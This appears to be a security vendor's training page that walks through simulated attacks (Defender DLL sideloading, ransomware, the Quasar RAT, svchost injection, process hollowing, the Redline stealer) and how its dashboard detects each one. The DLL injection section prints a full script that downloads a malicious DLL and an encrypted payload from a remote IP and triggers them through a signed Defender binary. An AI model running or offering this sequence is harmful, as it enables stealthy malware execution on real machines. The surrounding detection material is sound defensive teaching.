Scenarios

Training Scenario - DLL Injection

Group Name

Training Data - Dll Injection (Hive)

Scenario

In this training scenario, we will execute an encrypted ransomware payload via DLL injection into a signed MS Defender. A custom DLL has been created, as an attacker would create it, which decrypts a fake .log file, and executes it.

Many security tools will simply ignore processes started by a signed parent, particularly a signed antivirus parent, and even more particularly Defender. Defender commands are not only often allowed, but are often extremely privileged. Here the command that is weaponized is a signature update, something that is not only common, but would be ignored from any sort of malware hunt. Here we demonstrate that even with simple “living off the land” trade craft, an attacker can execute privileged payloads by staging a simple script with no custom injection tools on the machine.

Here is the exact script run on the victim machine. Note how there is nothing explicitly malicious happening, copying the defender exe(s) to a staging directory is done just to highlight the C:\staging files in the root cause analysis.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Breaking it down line by line:

  1. Staging directory created

  2. Defender copied to staging directory

  3. Real mpclient.dll is renamed

  4. Encrypted “log” file and malicious DLL are downloaded from a remote server

  5. Real signed MpCmdRun is executed with signature update task

MpCmdRun.exe
MpCmdRun.exe

Identifying it

Automated Response
Automated Response

Starting with the automated response, alarm bells would be sounding in your head. Some process that has never been seen before, with a random GUID name, executed and kicked off Cyber Crucible and unsigned. However, note that the path here could easily be something a bit less scary looking. It’s intentionally left as C:\staging to highlight it.

The immediate next step would be to find that file and figure out how it got there. Likely, it’s been deleted automatically, but we can look to Cyber Crucible’s process creations to see who ran it in the first place.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Just like described in the scenario above, a powershell script started a defender executable, which started our scary process. The malware payload then kicked off many children processes to do various staging tasks. Visibility into these background processes often will give insight into files created on the system, registry keys modified, worming activity, etc.

Otherwise “invisible behavior”
Otherwise “invisible behavior”

At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored.

Relevant documentation

Training Scenario - Vanilla Ransomware

Group Name

Training Data - Vanilla Ransomware (Hive)

Scenario

In this training scenario, we will execute a ‘vanilla’ ransomware payload, running as admin without any exploits. This simulates the basic example of a user downloading malware via a phishing link, malicious USB, etc.

While this is a very simple execution method, if the payload is a zero day, it will still go unnoticed by signature based security products, and may too irreparable damage before cloud based behavioral products can get back an analysis.

Identifying it

Automated Response
Automated Response

Identifying this incident is the easiest of all the samples. Once the suspicious file name on a file with no signature has been noticed, it’s an immediate red flag.

To confirm the execution method, we can look into the process creations around the time of the incident. What we see confirms that there was no complex exploit method, or even a script! As with other samples, the child process creations are interesting, though. Even though the execution method of the malware itself was obvious, many background processes are started that disable protections and other system settings.

At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored.

Relevant documentation

Training Scenario - Signed Ransomware

Group Name

Training Data - Signed Ransomware (Hive)

Scenario

In this training scenario, we will execute a ransomware payload, running as admin, and with a custom signature. This scenario is not too different from the ‘vanilla’ sample, but utilizes a signed executable.

Often times signed executables are treated is if they are verified to be benign. While it’s true that certified software should all be signed, this is not a bidirectional relationship, and we shouldn’t trust things just because they’re signed. Unfortunately, sometimes that mistake is made.

Identifying it

Aside from the fact that this cert name is a bit odd for training purposes, how does Cyber Crucible know it’s not trustworthy? Cyber Crucible plays it safe and maintains a (group specific) list of trusted certificates. This means that we can easily catch test signing certs, as well as official certs from large CAs like digicerts.

We can see above that even though the file “321d0…” is signed, it’s still not trusted. Since there are no other complex obfuscation techniques used to deploy the attack, we know exactly where it came from!

To confirm the execution method, we can look into the process creations around the time of the incident. What we see confirms that there was no complex exploit method, or even a script! As with other samples, the child process creations are interesting, though. Even though the execution method of the malware itself was obvious, many background processes are started that disable protections and other system settings.

At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored.

Relevant documentation

Training Scenario - Data Enumeration

Group Name

Training Data - RAT Exfil (Quasar)

Scenario

In this training scenario, we will execute a RAT on the victim machine, and use it to enumerate the data on disk, with the goal of exfiltrating files.

While this is not a ransomware attack, the behaviors used by the RAT fall under the umbrella of the data extortion behaviors that Cyber Crucible detects. The response to the incident, and related data, look very similiar to that of the response to a ransomware payload, because to Cyber Crucible it’s all the same!

Identifying it

This executable looks a bit odd, but it’s in system32 and triggering repeated responses. Some more investigation is required to figure out what happened here. We can start by looking for child paths related to the response path.

Here we get some more evidence to the story. A user ran the client-build.exe from the desktop, which is the RAT dropper. Then it looks like it privilege escalates via an svchost. There are still some missing pieces to the puzzle, though. How do we know this is a RAT and not just something interacting with svchost?

This opens up a whole lot more visibility! Not only do we know for sure that some suspicious activity is going on, and what paths are related, but we know there’s persistence being created as well. And we even see that we’re dealing with Quasar, a well known RAT.

Quasar is a sophisticated RAT, and does most of its behavior from within its own executable, choosing to bring its own statically compiled libraries rather than using Windows' default utilities for many things. But even Quasar gets caught using things like schtasks.

Relevant documentation

Training Scenario - Process Injection

Group Name

Training Data - Process Injection (Hive)

Scenario

In this training scenario, we will execute a ransomware payload via process injection into an already running Svchost.exe. The Svchost in question is a normal system operation, long running, signed, and under the LocalSystem user account.

Because the Svchost is ‘real’ it is often overlooked. Admins know that many instances of Svchost are run, and as long as the program’s arguments look correct, it is treated as a “black box” and left alone. This is an obvious, and often exploited, loophole for hackers to take advantage of. Combined with a zero day payload, this approach is very successful at obfuscating ransomware attacks.

Identifying it

svchost.exe’s Cert Signer(s)
svchost.exe’s Cert Signer(s)

The situation around this automated response is not directly apparent at a glance. The command line arguments look valid for Svchost, and the executable is signed by Microsoft.

The fact that there is an untrusted remote thread is suspicious, but requires more digging into. Many remote threads happen on a system, but most of them remain “trusted” as they are used for normal inter-process communication, data sharing, etc.

When a remote thread is created into a process in an abnormal way, and is marked as untrusted, is where we need to scrutinize harder.

Innocent Process Injections that occur normally
Innocent Process Injections that occur normally

In order to sort through the many process injections that happen on a system at any given time, we can refer to both the time of the incident, and the pid of the flagged process. Normally we will start with a few pids of suspicious responses, and go up the chain of injections and creation to gain the full story.

Filtering out irrelevant injections
Filtering out irrelevant injections
The smoking gun!
The smoking gun!

We already know that no one should be injecting into Svchost in this way, but definitely not this process! From here on we can treat this process as if it’s “malware.exe” and see who ran it, since someone must have.

Processes started with pid 9168
Processes started with pid 9168

Since there were two process creations with pid 9168, and they are very different, we can narrow it down based on the timestamp and/or the child path, and see that it was created by an explorer.exe. This means someone manually ran the injector process, and it can’t be some coincidence of Svchost behavior that was incorrectly flagged.

Relevant documentation

Training Scenario - Memory Modification

Group Name

Training Data - Process Hollowing SQL (Hive)

Scenario

In this training scenario, we will execute a ransomware payload via process hollowing, an injection / evasion technique where a process is started and has its executable code modified to do some other behavior.

In memory tradecraft is some of the hardest to detect, and even harder to have an automated response to, so it is often ignored. Memory is by definition volatile, and always changing. Identifying changes within a process' memory requires identifying relevant sections, and evaluating it during different times in a process' lifecycle to see if it has been tampered with.

Identifying it

Memory modified responses are by far the hardest to inspect. Since memory is ephemeral, it is treated like a “black box” and often kept at arms length. The good news is that as of Cyber Crucible 4.4.1.3 we now have the ability to automatically collect telemetry for modified memory samples, identifying what ranges of memory was modified, and the exact changes to them.

That kind of analysis is very cumbersome to do however, so a good first step is to check the related processes in the dashboard in order to get an idea of related behavior. Since the process in question here is a signed SQLCMD.exe, it should be obvious quickly if this is a benign SQL process, or something worse.

So far so good, just normal SQL processes, nothing necessarily suspicious or not. Although, we never like to see CMDs involved with automated responses. Lets do some more digging.

The smoking gun!
The smoking gun!

And there it is! We can keep scrolling and see more and more behaviors like these. The SQLCMD exe is running all kinds of commands to disable services, change configurations, and everything that ransomware would do preemptively.

Here we can see a small idea of what waits for us when we start to dig deeper and analyze the memory diffs. Most of the tradecraft sophisticated enough to do fully in-memory malware is also going to obfuscate its code in memory. This makes analyzing it extremely difficult, but access to the extra telemetry has already proved invaluable for incident identification, as well as behavior tuning

Relevant documentation

Training Scenario - Identity Theft

Group Name

Training Data - Identity Theft (Redline)

Scenario

In this training scenario, we will execute a piece of “stealer” malware in order to perform the first stage of an attack, credential theft. Unlike the RAT scenario, this one does not use the same behaviors as ransomware. Instead, this is a part of Cyber Crucible’s growing identity protection capabilities.

Often before an extortion even occurs, the first steps an attacker will do are to worm around the network and gain access to as many credentials as possible. In some cases this is an AD username/password combo, in other cases they are API keys grabbed out of browser sessions.

Identifying it

For now, lets dig in to some of what abnormal access looks like to the admin.

Identity data accesses are very cut and dry, if the admins don’t recognize a program, it shouldn’t be accessing that data! This immediately stands out as something suspicious going on.

What’s the flip side of this the attacker sees? Plaintext!

These responses are not responses like traditional data extortion events, so they are not actions of automated suspension. Instead, they are more like process injections, where Cyber Crucible did not stand in the way. As our analytics have been growing out, we have learned what “normal” access to identity stores look like for various types of applications. By 2023 we will enable our protection feature, which will restrict access, at the kernel level, to various forms of identity databases and only allow the associated software to access them.

Relevant documentation